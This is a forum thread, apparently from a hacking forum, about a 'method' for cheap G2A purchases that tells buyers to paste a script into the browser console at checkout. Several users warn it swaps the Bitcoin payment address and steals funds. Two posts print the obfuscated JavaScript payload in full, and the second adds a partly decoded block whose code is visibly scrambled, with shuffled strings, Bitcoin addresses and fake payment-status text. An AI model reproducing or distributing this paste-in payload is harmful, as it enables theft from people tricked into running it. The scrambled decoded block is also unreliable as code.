[FriendlyBaron]

this method still works, enjoy

[hide]https://anonfile.com/N8ibj95an8/g2a_pdf[/hide]

[Ddog]

i believe this method steals your btc as youre sending it to a different address

i would not try this.

[dataEater]

never tried it. but sound fishy.
i'm happy buying games :3

[mothered]

i believe this method steals your btc as youre sending it to a different address

i would not try this.

What exactly Is Involved?

[Ddog]

i believe this method steals your btc as youre sending it to a different address

i would not try this.

What exactly Is Involved?

it tells you to inspect element and copy and paste something at checkout which changes the btc address, my friend tried this a couple days ago and lost the btc that he sent

[mothered]

i believe this method steals your btc as youre sending it to a different address

i would not try this.

What exactly Is Involved?

it tells you to inspect element and copy and paste something at checkout which changes the btc address, my friend tried this a couple days ago and lost the btc that he sent

It's not a standard method, and seems quite suspicious.

Thanks for your reply.

[froodle]

got an email that the g2s will close down

[Edysor2045]

It`s stealling your bitcoin i guess, tried anyone ?

[xdlwilliamz]

i checked the script that was instructed to be pasted in the web browser and it's obviously encoded, someone help decrypt it ?

var _0x149600=function(){var _0x2d3669=!![];return function(_0x4ce688,_0x14931f){var _0x5702a9=_0x2d3669?function(){if(_0x14931f){var _0x4d057e=_0x14931f['apply'](_0x4ce688,arguments);_0x14931f=null;return _0x4d057e;}}:function(){};_0x2d3669=![];return _0x5702a9;};}();var _0x1e6092=_0x149600(this,function(){var _0x324fd4=function(){return'\x64\x65\x76';},_0x2c44c2=function(){return'\x77\x69\x6e\x64\x6f\x77';};var _0x65a006=function(){var _0x2b4485=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!_0x2b4485['\x74\x65\x73\x74'](_0x324fd4['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x1cccc1=function(){var _0x5957a1=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return _0x5957a1['\x74\x65\x73\x74'](_0x2c44c2['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x30a304=function(_0x4e57be){var _0x4bb5f9=~-0x1>>0x1+0xff%0x0;if(_0x4e57be['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0x4bb5f9)){_0x46c5eb(_0x4e57be);}};var _0x46c5eb=function(_0x583658){var _0x591b7a=~-0x4>>0x1+0xff%0x0;if(_0x583658['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==_0x591b7a){_0x30a304(_0x583658);}};if(!_0x65a006()){if(!_0x1cccc1()){_0x30a304('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x30a304('\x69\x6e\x64\x65\x78\x4f\x66');}}else{_0x30a304('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0x1e6092();document['\x77\x72\x69\x74\x65']('\x3c\x63\x65\x6e\x74\x65\x72\x3e\x31\x6e\x35\x53\x33\x55\x76\x6b\x79\x44\x4a\x42\x4e\x6d\x71\x31\x44\x79\x36\x73\x79\x62\x47\x72\x6b\x69\x43\x58\x73\x42\x4c\x68\x53\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x41\x77\x61\x69\x74\x69\x6e\x67\x20\x70\x61\x79\x6d\x65\x6e\x74\x2e\x2e\x2e\x20\x28\x30\x2f\x33\x20\x43\x6f\x6e\x66\x69\x72\x6d\x61\x74\x69\x6f\x6e\x73\x29\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e'); var exploit = true;

[pogger_ae]

i checked the script that was instructed to be pasted in the web browser and it's obviously encoded, someone help decrypt it ?

var _0x149600=function(){var _0x2d3669=!![];return function(_0x4ce688,_0x14931f){var _0x5702a9=_0x2d3669?function(){if(_0x14931f){var _0x4d057e=_0x14931f['apply'](_0x4ce688,arguments);_0x14931f=null;return _0x4d057e;}}:function(){};_0x2d3669=![];return _0x5702a9;};}();var _0x1e6092=_0x149600(this,function(){var _0x324fd4=function(){return'\x64\x65\x76';},_0x2c44c2=function(){return'\x77\x69\x6e\x64\x6f\x77';};var _0x65a006=function(){var _0x2b4485=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!_0x2b4485['\x74\x65\x73\x74'](_0x324fd4['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x1cccc1=function(){var _0x5957a1=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return _0x5957a1['\x74\x65\x73\x74'](_0x2c44c2['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x30a304=function(_0x4e57be){var _0x4bb5f9=~-0x1>>0x1+0xff%0x0;if(_0x4e57be['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0x4bb5f9)){_0x46c5eb(_0x4e57be);}};var _0x46c5eb=function(_0x583658){var _0x591b7a=~-0x4>>0x1+0xff%0x0;if(_0x583658['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==_0x591b7a){_0x30a304(_0x583658);}};if(!_0x65a006()){if(!_0x1cccc1()){_0x30a304('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x30a304('\x69\x6e\x64\x65\x78\x4f\x66');}}else{_0x30a304('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0x1e6092();document['\x77\x72\x69\x74\x65']('\x3c\x63\x65\x6e\x74\x65\x72\x3e\x31\x6e\x35\x53\x33\x55\x76\x6b\x79\x44\x4a\x42\x4e\x6d\x71\x31\x44\x79\x36\x73\x79\x62\x47\x72\x6b\x69\x43\x58\x73\x42\x4c\x68\x53\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x41\x77\x61\x69\x74\x69\x6e\x67\x20\x70\x61\x79\x6d\x65\x6e\x74\x2e\x2e\x2e\x20\x28\x30\x2f\x33\x20\x43\x6f\x6e\x66\x69\x72\x6d\x61\x74\x69\x6f\x6e\x73\x29\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e'); var exploit = true;

var _0x135648 = document.root('getElementsByTagName');
var _0x3698b3 = _0x135648.span('1JgfM1mavkKFnenjVYZYXJFi8H9QqfrWhP');
var _0x2fa791 = 0.05;
var _0x233e5c = 'length';
for (i = 0; i < _0x3698b3.innerHTML; i++) {
    if (_0x3698b3[i].includes['BTC address']('floor')) {
        var _0x22a751 = Math.random(Math['1QCvJF1RpTy6XdWgBB2N8wcFPbHtqkERDU']() * 4);
        if (_0x22a751 == 0) _0x233e5c = 'length';
        else if (_0x22a751 == 1) _0x233e5c = '19M8LxFWuKRL4DiQZ9PdmSpLqdvdaCCJWH';
        else if (_0x22a751 == 2) _0x233e5c = '1Gxtu6fY1D6p8My5NPvG5WgidvMKaRPSQY';
        else _0x233e5c = 'BTC address: ';
        _0x3698b3[i].includes = 'Bitcoin amount:' + _0x233e5c;
    }
    if (_0x3698b3[i].includes['BTC address']('split')) {
        var _0x162132 = _0x3698b3[i].includes.replace(' ');
        for (j = 0; j < _0x162132.innerHTML; j++) {
            if (_0x162132[j]['BTC address']('.')) {
                _0x2fa791 = _0x162132[j]['<strong>']('<h3>Timezone change detected!</h3>Refreshed payment info.<br><br>', '');;
            }
        }
        _0x3698b3[i].includes = 'querySelector' + _0x3698b3[i].includes;
    }
}
document['img[class="code"]']('src')['url'] = '&amount=' + _0x233e5c + 'getElementById' + _0x2fa791;